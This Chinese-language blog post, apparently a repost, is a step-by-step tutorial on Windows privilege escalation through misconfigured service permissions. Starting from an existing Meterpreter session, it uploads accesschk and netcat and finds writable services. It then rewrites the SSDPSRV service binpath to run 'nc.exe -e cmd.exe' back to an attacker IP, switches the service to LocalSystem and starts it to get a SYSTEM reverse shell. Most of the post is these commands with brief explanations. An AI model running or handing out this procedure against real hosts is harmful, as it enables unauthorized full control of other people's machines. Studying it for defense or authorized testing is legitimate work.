windows下一种提权方法

利用不正确文件和服务的权限设置

需要用到的工具:

1、icacls(适用于win7及以上系统)/cacls (适用于winxp及win2000系统) – 系统默认工具,用于检查某个具体的文件夹或者文件的权限配置信息

2、accesschk (sysinternals工具集之一) – 用于检查一个具体的用户或者组对于文件,目录,注册表,全局对象以及windows服务的权限信息

前提:已经获得meterpreter

首先利用meterpreter上传工具

meterpreter > upload accesschk_xp.exe c:\\xxx\\accesschk_xp.exe

meterpreter > upload nc.exe c:\\xxx\\nc.exe

执行accesschk来检查当前用户xx具有写权限的windows服务,因为这些服务配置了过高的权限将有利于我们来实现提权操作。

C:\xx>accesschk_xp.exe /accepteula -uwcqv 用户名 * > ack.txt

windows下一种提权方法_第1张图片

找到了2个满足条件的windows服务,分别是SSDPSRV和upnphost。任意选择一个服务检查一下,如:SSDPSRV

C:\xx>accesschk_xp.exe /accepteula -ucqv SSDPSRV

windows下一种提权方法_第2张图片

可以发现这个服务可以使用NT AUTHORITY\SYSTEM权限来启动我们指定的二进制文件,也就是说我们可以以SYSTEM权限来反弹一个shell继而完成提权操作,具体操作命令如下:

C:\xx>sc qc SSDPSRV

SC命令是XP系统中功能强大的DOS命令,SC命令能与“服务控制器”和已安装设备进行通讯。SC 是用于与服务控制管理器和服务进行通信的命令行程序。

sc qc 服务名——查看一个服务的配置信息

C:\xx>sc config SSDPSRV binpath= "c:\inetpub\nc.exe -nv 10.11.0.90 9090 -e cmd.exe"

sc config——修改注册表和“服务控制管理器”数据库中服务项目的值。

binpath= BinaryPathName——指定指向服务二进制文件的路径。

C:\xx>sc config SSDPSRV obj= ".\LocalSystem" password= ""

obj= {AccountName | ObjectName}

指定运行服务将使用的帐户名,或指定运行驱动程序将使用的 Windows 驱动程序对象名。默认设置为 LocalSystem。

C:\xx>sc config SSDPSRV start= "demand"

start= "demand"——指定是必须手动启动的服务

C:\xx>net start SSDPSRV

攻击机监听端口,若开启服务,则获得LocalSystem
权限的shell

你可能感兴趣的:(windows下一种提权方法)